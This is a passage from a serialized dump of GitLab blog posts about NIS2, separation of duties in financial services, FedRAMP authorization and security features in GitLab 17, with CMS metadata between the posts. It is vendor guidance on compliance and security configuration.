stage](https://about.gitlab.com/features/?stage=monitor) offers features such as [Alerts](https://docs.gitlab.com/ee/operations/incident_management/alerts.html) and [Incidents](https://docs.gitlab.com/ee/operations/incident_management/incidents.html) to help organizations become aware of incidents and track them to remediation all within GitLab.\n\n- GitLab’s [Govern stage](https://about.gitlab.com/features/?stage=govern) features, as the name implies, set the standard for who can use a GitLab instance and in which way. They also help support an organization’s overall compliance efforts.\n  - Features such as [SCIM](https://docs.gitlab.com/ee/administration/settings/scim_setup.html), [SSO](https://docs.gitlab.com/ee/user/group/saml_sso/), and [Custom Roles](https://docs.gitlab.com/ee/user/custom_roles.html) effectively support authentication and authorization lifecycles.\n  - [MR Approval Policies](https://docs.gitlab.com/ee/user/application_security/policies/scan-result-policies.html) are a powerful tool for implementing a security gate in your software development lifecycle. Using MR Approval Policies, an organization can require additional approvals for events such as when vulnerabilities are detected after a commit, certain license types are detected in dependencies, or for any MR made against a particular protected branch. MR Approval Policies are available with a GitLab Ultimate subscription.\n  - With [GitLab Duo](https://about.gitlab.com/gitlab-duo/), organizations can leverage the [Vulnerability Explanation](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/index.html#explaining-a-vulnerability) feature to:\n    - summarize the vulnerability\n    - help developers and security analysts understand the vulnerability, how it could be exploited, and how to fix it\n    - provide a suggested mitigation\n  -  [Streaming Audit Events](https://docs.gitlab.com/ee/user/compliance/audit_event_streaming.html) enable organizations to send audit events from their top-level group to an external location to receive all events about the group, subgroups, and projects. Streaming Audit Events are available with a GitLab Ultimate subscription.\n  -  A strong insider threat program combines multiple layers of detective, preventive, and reactive controls. [Git Abuse Rate Limiting](https://docs.gitlab.com/ee/user/group/reporting/git_abuse_rate_limit.html) automatically notifies administrators when a user downloads, clones, pulls, fetches, or forks more than a specified number of repositories of a group in a given timeframe. Organizations can go a step further and enable automatic banning to ban the offending user from the group and its subgroups. Git Abuse Rate Limiting is available with a GitLab Ultimate subscription.\n  -  To dive deeper on detected vulnerabilities, GitLab’s [Vulnerability Report](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/) provides information about vulnerabilities from scans of the default branch. Vulnerability Reports are available with a GitLab Ultimate subscription.\n\n![Vulnerability Report](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674396/Blog/Content%20Images/Screenshot_2024-08-20_at_10.32.02.png)\n\n**Section 2(j)- the use of multi-factor authentication or continuous authentication solutions, secured voice, video and text communications, and secured emergency communication systems within the entity, where appropriate.**\n\nGitLab offers several multi-factor authentication options to support a stronger authentication process. Customers can leverage the [multi-factor authentication option](https://docs.gitlab.com/ee/user/profile/account/two_factor_authentication.html) that meets their requirements, or they can implement [SSO](https://docs.gitlab.com/ee/user/group/saml_sso/) to enhance the authentication process even further.\n\n## What’s next for NIS2?\n\nWhile member states have yet to issue broad guidance in response to the NIS2 directive, the GitLab platform is well positioned to address software development lifecycle requirements as they arise.\n\nTo learn more about the features throughout this article, see our library of [tutorials](https://docs.gitlab.com/ee/tutorials/).\n\n> To get started, [sign up for a free 30-day trial of GitLab Ultimate](https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/blog&glm_content=default-saas-trial).\n",[479,14,695],{"slug":1796,"featured":92,"template":677},"how-gitlab-helps-meet-nis2-requirements","content:en-us:blog:how-gitlab-helps-meet-nis2-requirements.yml","How Gitlab Helps Meet Nis2 Requirements","en-us/blog/how-gitlab-helps-meet-nis2-requirements.yml","en-us/blog/how-gitlab-helps-meet-nis2-requirements",{"_path":1802,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":1803,"content":1809,"config":1816,"_id":1818,"_type":16,"title":1819,"_source":17,"_file":1820,"_stem":1821,"_extension":20},"/en-us/blog/finserv-how-to-implement-gitlabs-separation-of-duties-features",{"title":1804,"description":1805,"ogTitle":1804,"ogDescription":1805,"noIndex":6,"ogImage":1806,"ogUrl":1807,"ogSiteName":767,"ogType":768,"canonicalUrls":1807,"schema":1808},"FinServ: How to implement GitLab's separation of duties features","Learn how GitLab ensures secure, compliant software development with separation of duties in the financial services sector, including features that help adhere to regulatory frameworks.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097688/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%286%29_6vL96ttKF8zJLLqfPpvFs_1750097687913.png","https://about.gitlab.com/blog/finserv-how-to-implement-gitlabs-separation-of-duties-features","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"FinServ: How to implement GitLab's separation of duties features\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Cherry Han\"},{\"@type\":\"Person\",\"name\":\"Gavin Peltz\"}],\n        \"datePublished\": \"2024-08-13\",\n      }",{"title":1804,"description":1805,"authors":1810,"heroImage":1806,"date":1813,"body":1814,"category":14,"tags":1815},[1811,1812],"Cherry Han","Gavin Peltz","2024-08-13","Throughout software development, robust security and compliance measures are required, especially in industries like financial services where data integrity and regulatory adherence are non-negotiable. One critical aspect of maintaining these standards is separation of duties (SoD). SoD ensures that no individual has complete control over a process from beginning to end, thereby reducing the risk of errors and unauthorized activities. SoD mitigates software supply chain risks by preventing external and malicious acts that could compromise the integrity of the software development process.\n\n## Importance of SoD in the financial services industry\n\nIn the financial services sector, SoD plays a pivotal role in safeguarding sensitive information and upholding regulatory compliance. Here’s how SoD contributes strategically to the industry:\n\n* **Risk mitigation:** By distributing responsibilities across different roles, SoD reduces the risk of errors, fraud, and unauthorized activities that could compromise system integrity or regulatory compliance.\n* **Enhanced accountability:** Clear division of duties guarantees that no individual can independently initiate, authorize, and execute a process from start to finish. This promotes transparency and accountability, which are crucial for maintaining trust with stakeholders and regulatory bodies.\n* **Regulatory compliance:** SoD is mandated by financial regulations so that sensitive operations are conducted with oversight and scrutiny. Compliance with these standards not only avoids penalties, but also protects the organization's reputation.\n* **Operational resilience:** By decentralizing decision-making and execution, organizations become less susceptible to disruptions caused by human errors, malicious actions, or unexpected events.\n\n## GitLab for SoD and best practices\nGitLab provides end-to-end separation of duties covering the DevSecOps workflow.\n\n![FinServ SOD - image 1](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097695/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097695697.png)\n\nThe diagram above illustrates the integration of key elements like merge request approval policies, protected features, user permissions, compliance frameworks, and audit events, all working together to uphold the principles of SoD. Each of these components is detailed in the sections below, demonstrating how to establish a secure and compliant development environment.\n\n### Merge request approval policies\n\nOne challenge the financial services industry faces is the implementation of approval mechanisms that prevent unauthorized or unchecked changes from being integrated. This is where [merge request approval policies](https://docs.gitlab.com/ee/user/application_security/policies/scan-result-policies.html) come into play. These policies enforce the separation of duties between security and development, preventing individual developers from approving their own code changes if they contain vulnerabilities, and development teams from deploying their code directly to production environments without appropriate oversight. \n\nWhen creating a policy, it’s advisable to consider who would be an appropriate approver. This can be defined as an individual user, group such as the Application Security team, or role type such as a Maintainer. To implement further restrictions, please consider these key policy features:\n\n- Prevent approval by author: This policy puts a guardrail in place so that a merge request author cannot approve their own changes. By requiring independent review, this policy helps maintain objectivity and impartiality in the approval process.\n\n- Prevent approvals by users who add commits: Users who have added commits to a merge request are also prevented from approving it. This further enforces the principle of independent review so changes are scrutinized by team members who are not directly involved in the modifications.\n\n- Prevent editing approval rules: To maintain the integrity of the approval process, GitLab allows administrators to prevent editing approval rules at the project or merge request level. This guarantees that once approval policies are defined, they cannot be bypassed or altered by unauthorized users.\n\n- Require user password to approve: For an added layer of security, GitLab can require users to enter their password to approve a merge request. \n\nTo maintain a clear separation of duties, it is advisable to [create a separate top-level group](https://docs.gitlab.com/ee/user/application_security/policies/#enforce-policies-globally-in-gitlab-dedicated-or-your-gitlab-self-managed-instance) dedicated to housing your security policies, including merge request approval policies. This setup minimizes the number of users who inherit permissions and enforces tighter control over policy management. From this separate group, you can [link security policy projects](https://docs.gitlab.com/ee/user/application_security/policies/#link-to-a-security-policy-project) at the highest group level that aligns with your objectives, reducing policy management overhead and providing comprehensive coverage across your development environment.\n\nIt's also important to note that when a policy is enabled by default, it applies to all projects within the associated linked groups, subgroups, and individual projects. If you want to enforce policies more selectively, GitLab recommends you scope your policies to a [compliance framework label](https://docs.gitlab.com/ee/user/group/compliance_frameworks.html). Commonly, our highly regulated customers will architect compliance labels that correspond with regulatory requirements, like “SOX” and “PCI.\" This link to a framework also enables the [native compliance center](https://docs.gitlab.com/ee/user/compliance/compliance_center/) to manage security policies tailored to various use cases.\n\n### Compliance frameworks and controls\n\nCustomers in regulated industries face significant challenges in maintaining compliance in large organizations. Manual processes are prone to errors, and maintaining consistent enforcement of policies across teams can be difficult.\n\nBy using GitLab's compliance frameworks, organizations can automate and administer preventive measures, systematically manage risks, and enforce regulatory compliance seamlessly. These frameworks can enforce security protocols and custom jobs across any pipeline. \n\nTo safeguard compliance settings at the organizational level, GitLab allows only group or project owners to add or remove compliance frameworks. This measure blocks development teams or managers from altering compliance configurations without appropriate permission levels, providing an additional layer of security. It’s important to note that if an individual with Maintainer permission is allowed to create a subgroup, they become the owners of that subgroup and can change the compliance framework. This can be prevented by [limiting who can create subgroups](https://docs.gitlab.com/ee/user/group/subgroups/#change-who-can-create-subgroups) under permissions and group settings.\n\n## SoD through permissions and roles\n\nTo effectively enforce the separation of duties in the financial services industry, it's essential to establish clear and precise access control. GitLab provides a tiered [permissions model](https://docs.gitlab.com/ee/user/permissions.html) with predefined roles such as Guest, Reporter, Developer, Maintainer, and Owner. Each role has a specific set of permissions so individuals can perform their duties without overstepping boundaries, which could lead to conflicts of interest or security risks. GitLab recommends assigning roles following the [principle of least privilege access](https://about.gitlab.com/blog/the-ultimate-guide-to-least-privilege-access-with-gitlab/).\n\nFor organizations with granular needs, particularly those using GitLab Ultimate, [custom roles](https://docs.gitlab.com/ee/user/custom_roles.html) offer even greater flexibility. These roles allow organizations to define specific permissions tailored to their unique workflows and compliance requirements. This is particularly useful in enforcing the separation of duties because no individual can perform conflicting tasks.\n\nA common use case is the need for a deployer role — individuals who need to deploy jobs but should not have access to edit or push code. GitLab addresses this requirement through the use of [protected environments](https://docs.gitlab.com/ee/ci/environments/protected_environments.html#protecting-environments). Protected environments allow you to [invite groups approved to deploy jobs](https://docs.gitlab.com/ee/ci/environments/protected_environments.html#deployment-only-access-to-protected-environments) while limiting the role of users to Reporters. Please note that the deployment job should include the environment keyword. This configuration enables users to deploy jobs without the ability to edit the code, ensuring compliance requirements are met. \n\nBy carefully defining and enforcing roles and permissions, organizations can create a secure and compliant development environment. If you’d like to review your user permissions on a broader scale, you can use this [Group Member report](https://gitlab.com/gitlab-com/cs-tools/gitlab-cs-tools/gitlab-group-member-report) to see how many members of a role are in your environment and evaluate the next steps accordingly.\n\n## Protected features\nGitLab offers several “protected” features to enforce additional layers of control over your development process. These features can be vital for maintaining SoD so that only designated individuals can make significant changes.\n\n- Protected branches: A protected branch restricts who can push, merge, or force push to the branch. This is particularly beneficial for branches like “main” or “production,\" so that only authorized users can make modifications.\n- Protected Git tags: These tags allow control over who has permission to create tags. This prevents accidental updates or deletions once the tag is created, preserving the integrity of your versioning.\n- Protected environments: Protecting specific environments, especially productions, from unauthorized access is imperative. In a protected environment, only users with the appropriate privileges can deploy to it, safeguarding the environment from unintended changes. This ties back to the deployer role functionality mentioned earlier, where individuals can deploy jobs without editing the code, establishing compliance and security.\n- Protected packages: Using package protection rules restricts which users can make changes to your packages. \nThese protected features collectively help maintain a secure and compliant development environment that aligns with the principles of SoD.\n\n## Audit event and compliance center\nHaving discussed approval policies, compliance frameworks, roles, and protected features, the final step is how GitLab allows you to monitor and audit these implementations to guarantee adherence. GitLab's [audit events](https://docs.gitlab.com/ee/user/compliance/audit_events.html) provide a detailed record of activities and changes, such as user activity and project modifications, for owners and admins. This logging is vital for tracking user actions and detecting unauthorized behavior. [Audit event streaming](https://docs.gitlab.com/ee/user/compliance/audit_event_streaming.html) enhances this by allowing organizations to stream audit events to external systems for real-time analysis and alerting. By doing so, any alterations or violations are detected, allowing swift remediation.\n\nThe [Compliance Center in GitLab](https://docs.gitlab.com/ee/user/compliance/compliance_center/) is a centralized hub for managing and monitoring compliance activities. It provides an overview of compliance status across projects and groups, highlighting violations of merge request approval rules or other policies. Administrators can promptly address issues, certifying adherence to predefined compliance standards. This centralized approach simplifies compliance management, maintaining a high level of oversight and control.\n\n> If you are interested in learning more about GitLab’s thoughts on SoD and compliance, check out the  [GitLab Govern product direction](https://about.gitlab.com/direction/govern/) and the [GitLab compliance documentation](https://docs.gitlab.com/ee/administration/compliance.html). \n\n## Read more\n\n- [Meet regulatory standards with GitLab compliance & security policy management](https://about.gitlab.com/blog/meet-regulatory-standards-with-gitlab/)\n- [Building GitLab with GitLab: Expanding our security certification portfolio](https://about.gitlab.com/blog/building-gitlab-with-gitlab-expanding-our-security-certification-portfolio/)\n- [Online retailer bol tackles growing compliance needs with GitLab](https://about.gitlab.com/blog/online-retailer-bol-tackles-growing-compliance-needs-with-gitlab/)",[14,479,695,555],{"slug":1817,"featured":6,"template":677},"finserv-how-to-implement-gitlabs-separation-of-duties-features","content:en-us:blog:finserv-how-to-implement-gitlabs-separation-of-duties-features.yml","Finserv How To Implement Gitlabs Separation Of Duties Features","en-us/blog/finserv-how-to-implement-gitlabs-separation-of-duties-features.yml","en-us/blog/finserv-how-to-implement-gitlabs-separation-of-duties-features",{"_path":1823,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":1824,"content":1830,"config":1835,"_id":1838,"_type":16,"title":1839,"_source":17,"_file":1840,"_stem":1841,"_extension":20},"/en-us/blog/gitlab-patch-release-17-2-2-17-1-4-17-0-6",{"title":1825,"description":1826,"ogTitle":1825,"ogDescription":1826,"config":1827,"ogImage":1381,"ogUrl":1828,"ogSiteName":767,"ogType":768,"canonicalUrls":1828,"schema":1829},"GitLab Patch Release: 17.2.2, 17.1.4, 17.0.6","Learn more about GitLab Patch Release: 17.2.2, 17.1.4, 17.0.6 for GitLab Community Edition (CE) and Enterprise Edition (EE).\n\n",{"noIndex":92},"https://about.gitlab.com/blog/gitlab-patch-release-17-2-2-17-1-4-17-0-6","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Patch Release: 17.2.2, 17.1.4, 17.0.6\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Costel Maxim\"}],\n        \"datePublished\": \"2024-08-07\",\n      }",{"title":1825,"description":1826,"authors":1831,"heroImage":1381,"date":1832,"body":1833,"category":14,"tags":1834},[1386],"2024-08-07","This is the post for [GitLab Patch Release: 17.2.2, 17.1.4, 17.0.6](https://about.gitlab.com/releases/2024/08/07/patch-release-gitlab-17-2-2-released/).",[1292,695],{"slug":1836,"featured":6,"template":677,"externalUrl":1837},"gitlab-patch-release-17-2-2-17-1-4-17-0-6","https://about.gitlab.com/releases/2024/08/07/patch-release-gitlab-17-2-2-released/","content:en-us:blog:gitlab-patch-release-17-2-2-17-1-4-17-0-6.yml","Gitlab Patch Release 17 2 2 17 1 4 17 0 6","en-us/blog/gitlab-patch-release-17-2-2-17-1-4-17-0-6.yml","en-us/blog/gitlab-patch-release-17-2-2-17-1-4-17-0-6",{"_path":1843,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":1844,"content":1849,"config":1854,"_id":1856,"_type":16,"title":1857,"_source":17,"_file":1858,"_stem":1859,"_extension":20},"/en-us/blog/how-gitlab-supports-the-fedramp-authorization-journey",{"title":1845,"description":1846,"ogTitle":1845,"ogDescription":1846,"noIndex":6,"ogImage":765,"ogUrl":1847,"ogSiteName":767,"ogType":768,"canonicalUrls":1847,"schema":1848},"How GitLab supports the FedRAMP authorization journey","This comprehensive guide dives into the FedRAMP certification process, explaining how GitLab offers guidance and best practices for configuration and compliance.","https://about.gitlab.com/blog/how-gitlab-supports-the-fedramp-authorization-journey","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How GitLab supports the FedRAMP authorization journey\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Christian Nnachi\"}],\n        \"datePublished\": \"2024-08-07\",\n      }",{"title":1845,"description":1846,"authors":1850,"heroImage":765,"date":1832,"body":1852,"category":14,"tags":1853},[1851],"Christian Nnachi","The Federal Risk and Authorization Management Program (FedRAMP) is a U.S. government program that standardizes security assessment, authorization, and continuous monitoring for cloud products and services. Achieving FedRAMP authorization allows cloud service providers (CSPs) to offer their services to federal agencies, ensuring that these services meet stringent security and privacy requirements.\n\nIn this article, you'll learn how to GitLab can help guide you on your FedRAMP authorization journey, including:\n* the key steps of the FedRAMP certification process\n* highlights of GitLab’s role in supporting FedRAMP requirements\n* best practices for configuration and compliance\n\nBy leveraging GitLab’s features and adhering to recommended practices, organizations can streamline their path to FedRAMP authorization and ensure secure and compliant software development.\n\n## Key requirements and compliance levels\n\nFedRAMP categorizes security requirements into [three levels based on the impact of data](https://www.fedramp.gov/understanding-baselines-and-impact-levels/) being handled:\n\n* **Low:** Impact on operations, assets, or individuals is limited.\n* **Moderate:** Impact on operations, assets, or individuals is serious.\n* **High:** Impact on operations, assets, or individuals is severe or catastrophic.\n\n## Security and privacy controls from NIST 800-53\n\nFedRAMP's security controls are derived from the [National Institute of Standards and Technology (NIST) Special Publication 800-53](https://csrc.nist.gov/pubs/sp/800/53/r5/upd1/final). Key areas include:\n\n* **Vulnerability scanning and patching SLAs:** Regular scanning and timely patching of vulnerabilities.\n* **Secure software supply chain:** Ensuring that the software and its components are secure.\n* **Change management:** Restricting unauthorized software or system changes through merge request (MR) approval rules.\n\n## Importance of FedRAMP for organizations\n\nFor CSPs, achieving FedRAMP authorization is crucial for doing business with federal agencies. Authorized services are listed on the [FedRAMP Marketplace](https://marketplace.fedramp.gov/products), enhancing their visibility and credibility.\n\n## Steps to achieve FedRAMP certification\n\nThe FedRAMP process is evolving, and a [new roadmap](https://www.fedramp.gov/2024-03-28-a-new-roadmap-for-fedramp/) has been introduced. To stay up to date on the latest changes, [subscribe to General Service Administration (GSA) list](https://public.govdelivery.com/accounts/USGSA/subscriber/new).\n\n### Walkthrough of the certification process\n\n#### 1\\. **Preparation and readiness**\n\n* **Preparation**\n  * Understand FedRAMP requirements and prepare documentation.\n* **Readiness assessment**\n  * CSPs can pursue the optional FedRAMP Ready designation by working with an accredited Third-Party Assessment Organization (3PAO). The 3PAO conducts a readiness assessment and documents the CSP's capability to meet federal security requirements in the Readiness Assessment Report (RAR).\n* **Pre-authorization**\n  * CSPs formalize partnerships with an agency as outlined in the FedRAMP Marketplace: Designations for Cloud Service Providers.\n  * CSPs prepare for the authorization process by making necessary technical and procedural adjustments to meet federal security requirements and prepare the required security deliverables for authorization.\n\n#### 2\\. **Authorization package submission and assessment**\n\n* **Authorization package submission**\n  * Historically: Submit the assessment package to the FedRAMP Joint Authorization Board (JAB) or a federal agency sponsor.\n  * [**New process**](https://www.fedramp.gov/2024-03-28-a-new-roadmap-for-fedramp/)**:** Submit to the FedRAMP Board within the GSA, replacing the JAB. The process integrates Agile principles and uses threat-based analysis for control selection and implementation.\n* **Full security assessment**\n  * The 3PAO conducts an independent audit of the CSP's system. Before this, the CSP should complete the System Security Plan (SSP) and have it reviewed and approved by the agency customer.\n  * The 3PAO develops the Security Assessment Plan (SAP) with input from the authorizing agency. After testing, the 3PAO creates a Security Assessment Report (SAR) detailing their findings and providing a recommendation for FedRAMP Authorization.\n* **Agency authorization process**\n  * The agency reviews the security authorization package, including the SAR, and may require CSP remediation.\n  * The agency performs a risk analysis, accepts the risk, and issues an Authority to Operate based on its risk tolerance, with the option to implement, document, and test customer-responsible controls either before or after the ATO issuance.\n\n#### 3\\. **Post-authorization and continuous monitoring**\n\n* **Continuous monitoring**\n  * The continuous monitoring phase involves post-authorization activities to maintain FedRAMP-compliant security authorization.\n* **New tool**\n  * [**automate.fedramp.gov**](https://www.fedramp.gov/2024-07-11-new-website-launch-automate-fedramp-gov/)**:** Provides detailed technical documentation, best practices, and guidance for creating and managing digital authorization packages with Open Security Controls Assessment Language ([OSCAL](https://pages.nist.gov/OSCAL/)). It supports a digital-first approach, offering faster documentation updates, enhanced user experience, and community collaboration.\n\nDetailed steps are available on the [FedRAMP Agency Authorization page](https://www.fedramp.gov/agency-authorization/). \n\n### Common challenges and pitfalls\n\n1. **Vulnerability management:** Ensuring timely and effective vulnerability management.\n2. **System boundaries:** Clearly defining and documenting system boundaries.\n3. **Software security practices:** Implementing and maintaining robust software security practices.\n4. **FIPS 140-2 cryptography:** Ensuring cryptographic modules are FIPS 140-2 compliant (details available in [GitLab's FIPS Compliance documentation](https://docs.gitlab.com/ee/development/fips_compliance.html)).\n\n## Role of self-managed GitLab in FedRAMP compliance\n\n### Supporting FedRAMP requirements\n\nSelf-managed GitLab can play a critical role in achieving FedRAMP compliance by providing tools and features that support secure code development and deployment within FedRAMP authorization boundaries.\n\n### Specific features of GitLab aligned with FedRAMP standards\n\n1\\. **Security configuration**\n\nYou can configure [CI/CD pipelines](https://docs.gitlab.com/ee/topics/build_your_application.html) to continuously test code while it ships and simultaneously enforce security policies. GitLab includes a suite of security tools that you can incorporate into the development of customer applications, including but not limited to:\n\n* [Security configuration](https://docs.gitlab.com/ee/user/application_security/configuration/index.html)\n* [Container scanning](https://docs.gitlab.com/ee/user/application_security/container_scanning/index.html)\n* [Dependency scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/index.html)\n* [Static application security testing](https://docs.gitlab.com/ee/user/application_security/sast/index.html)\n* [Infrastructure as code (IaC) scanning](https://docs.gitlab.com/ee/user/application_security/iac_scanning/index.html)\n* [Secret detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/index.html)\n* [Dynamic application security testing (DAST)](https://docs.gitlab.com/ee/user/application_security/dast/index.html)\n* [API fuzzing](https://docs.gitlab.com/ee/user/application_security/api_fuzzing/index.html)\n* [Coverage-guided fuzz testing](https://docs.gitlab.com/ee/user/application_security/coverage_fuzzing/index.html)\n\n2\\. **Access control and authentication**\n\nAccess management in a GitLab deployment varies for each customer. GitLab offers extensive documentation on deployments using both identity providers and GitLab's native authentication configurations. It is crucial to evaluate your organization's specific requirements before deciding on an authentication approach for your GitLab instance.\n\n3\\. **[Identity providers](https://docs.gitlab.com/ee/security/hardening_nist_800_53.html#identity-providers)**\n\nTo comply with FedRAMP requirements, ensure your existing identity provider is FedRAMP-authorized and listed on the FedRAMP Marketplace, and for requirements like personal identity verification (PIV), use an identity provider rather than relying on native authentication in self-managed GitLab.\n\n4\\. **[Native GitLab user authentication configurations](https://docs.gitlab.com/ee/security/hardening_nist_800_53.html#native-gitlab-user-authentication-configurations)**\n\nGitLab enables administrators to monitor users with different levels of sensitivity and access requirements.\n\n5\\. [**Audits and accountability**](https://docs.gitlab.com/ee/administration/audit_event_streaming/)\n\nGitLab provides a wide array of security events and streaming capabilities for comprehensive logging and monitoring that can be routed to a Security Information and Event Management (SIEM) solution.\n\n* [Event types](https://docs.gitlab.com/ee/security/hardening_nist_800_53.html#event-types)\n\n6\\. **Incident response**\n\nAfter configuring audit events, it's crucial to monitor them. GitLab offers [tools](https://docs.gitlab.com/ee/operations/incident_management/index.html) for alert management, incident tracking, and status reporting through a centralized interface, allowing you to compile system alerts from SIEM or other security tools, triage incidents, and keep stakeholders informed.\n\n* [alerts](https://docs.gitlab.com/ee/operations/incident_management/alerts.html)\n* [incidents](https://docs.gitlab.com/ee/operations/incident_management/incidents.html)\n* [on-call schedules](https://docs.gitlab.com/ee/operations/incident_management/oncall_schedules.html)\n* [status page](https://docs.gitlab.com/ee/operations/incident_management/status_page.html)\n\n7\\. **Configuration management**\n\nAt its core, GitLab meets [configuration management](https://docs.gitlab.com/ee/security/hardening_nist_800_53.html#configuration-management-cm) needs with robust CI/CD pipelines, approval workflows, and change control, primarily using issues and MRs to manage changes.\n\n8\\. **Federal Information Processing Standard (FIPS) compliance**\n\nGitLab supports [FIPS compliance](https://docs.gitlab.com/ee/development/fips_compliance.html) by offering versions that use FIPS-validated cryptographic modules such as OpenSSL, BoringSSL, or other CMVP-validated modules. This ensures that cryptographic operations meet FIPS requirements, making it suitable for use in environments that require high levels of security compliance, such as those seeking FedRAMP authorization. Additionally, GitLab's documentation provides detailed instructions for installing and configuring FIPS-compliant deployments, including a hybrid approach using omnibus and cloud native components.\n\n9\\. [**NIST 800-53 R5 security and privacy controls management project template**](https://gitlab.com/gitlab-org/project-templates/nist_80053r5)\n\nThe project template helps track and manage compliance with NIST 800-53 R5 using GitLab issues, based on [NIST 800-53R5 specifications](https://csrc.nist.gov/pubs/sp/800/53/r5/upd1/final). It includes pre-configured issues, issue boards, and a notional example pipeline to run tests using OpenSCAP (OSCAP) and update issues with artifacts and labels, creating a controls management project within GitLab. This template centralizes compliance efforts, automates control testing, and facilitates a seamless workflow for both project teams and auditors.\n\n## Best practices for using GitLab in the FedRAMP process\n\n### Recommended configurations and setups\n\nTo align self-managed GitLab with NIST 800-53 controls and FedRAMP requirements, consider the following best practices:\n\n1. **Security hardening:** Follow GitLab’s [security hardening guidance](https://docs.gitlab.com/ee/security/hardening_nist_800_53.html).\n2. **Access control:** Implement role-based access control (RBAC) and enforce [the principle of least privilege](https://about.gitlab.com/blog/the-ultimate-guide-to-least-privilege-access-with-gitlab/).\n3. **CI/CD pipelines:** Configure pipelines to include security testing and approval stages.\n4. **Audit logging:** Enable comprehensive audit logging and integrate with a SIEM system.\n5. **Backup and recovery:** Establish robust backup and recovery processes.\n\n### NIST 800-53 compliance\n\nGitLab provides various compliance features to help automate critical controls and workflows. Administrators should work with customer solutions architects to configure GitLab instances to meet applicable [NIST 800-53 controls](https://docs.gitlab.com/ee/security/hardening_nist_800_53.html).\n\n## Start your FedRAMP compliance journey\n\nAchieving FedRAMP authorization is a complex but strategic process for CSPs looking to provide services to federal agencies. Self-managed GitLab offers a comprehensive suite of tools and features that can support this journey, ensuring secure and compliant software development and operations. By following best practices and leveraging GitLab’s capabilities, organizations can navigate the challenges of FedRAMP compliance and successfully achieve authorization.\n\n> Learn more about [GitLab's solutions for the public sector](https://about.gitlab.com/solutions/public-sector/).",[696,184,776],{"slug":1855,"featured":92,"template":677},"how-gitlab-supports-the-fedramp-authorization-journey","content:en-us:blog:how-gitlab-supports-the-fedramp-authorization-journey.yml","How Gitlab Supports The Fedramp Authorization Journey","en-us/blog/how-gitlab-supports-the-fedramp-authorization-journey.yml","en-us/blog/how-gitlab-supports-the-fedramp-authorization-journey",{"_path":1861,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":1862,"content":1868,"config":1873,"_id":1875,"_type":16,"title":1876,"_source":17,"_file":1877,"_stem":1878,"_extension":20},"/en-us/blog/get-to-know-the-security-and-governance-updates-in-gitlab-17-17-1",{"title":1863,"description":1864,"ogTitle":1863,"ogDescription":1864,"noIndex":6,"ogImage":1865,"ogUrl":1866,"ogSiteName":767,"ogType":768,"canonicalUrls":1866,"schema":1867},"Get to know the security and governance updates in GitLab 17, 17.1","Dive deep into the new enhancements that can strengthen your organization's security posture, including how-to videos for SAST, DAST, API security, container registry, and more.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098858/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_282096522_securitycompliance.jpeg_1750098857843.jpg","https://about.gitlab.com/blog/get-to-know-the-security-and-governance-updates-in-gitlab-17-17-1","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Get to know the security and governance updates in GitLab 17, 17.1\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2024-07-17\",\n      }",{"title":1863,"description":1864,"authors":1869,"heroImage":1865,"date":1870,"body":1871,"category":14,"tags":1872},[856],"2024-07-17","With every GitLab release we enhance and optimize security and governance solutions to ensure customers have the tools they need to produce secure and compliant software. Our values of [iteration](https://handbook.gitlab.com/handbook/values/#iteration) and [results for customers](https://handbook.gitlab.com/handbook/values/#results) drive our release cycles, and GitLab 17 is no exception. We have been releasing every month for the past 153 months straight!\n\nIn this article, you'll learn my favorite security and governance enhancements released in GitLab 17 and 17.1 and how they can benefit your organization’s security requirements. \n\n- [SAST analyzer streamlining](#sast-analyzer-streamlining)\n- [Android dependency scanning](#android-dependency-scanning)\n- [Custom roles and granular security permissions updates](#custom-roles-and-granular-security-permissions-updates)\n- [Secret detection updates](#secret-detection-updates)\n- [Container registry updates](#container-registry-updates)\n- [API security scanning updates](#api-security-scanning-updates)\n\n## SAST analyzer streamlining\n\nGitLab provides static application security testing ([SAST](https://docs.gitlab.com/ee/user/application_security/sast/)) to examine your source code for known vulnerabilities, detecting vulnerabilities such as SQL injections and cross-site scripting. When SAST kicks off, the programming language used is auto-detected and the appropriate scanner is loaded.\n\nIn GitLab 17, SAST scans the same languages, but now with fewer analyzers, [offering a simpler and more customizable experience](https://about.gitlab.com/releases/2024/05/16/gitlab-17-0-released/#streamlined-sast-analyzer-coverage-for-more-languages). Language-specific analyzers have been replaced with GitLab-managed rules in the Semgrep-based analyzer for the following languages:\n\n- C/C++\n- Swift (iOS)\n- Java/Kotlin (Android)\n- Node.js\n- PHP\n- Ruby\n\nHaving one analyzer for many different languages makes configurations and writing rules easier than ever. See the [supported languages and frameworks documentation](https://docs.gitlab.com/ee/user/application_security/sast/#supported-languages-and-frameworks) for more information.\n\nWatch this video to learn more:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/_80z6mZmzek?si=i9yPQttxuwVcb7Ye\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Android dependency scanning\n\nIn modern software development, many applications are built from multiple dependencies 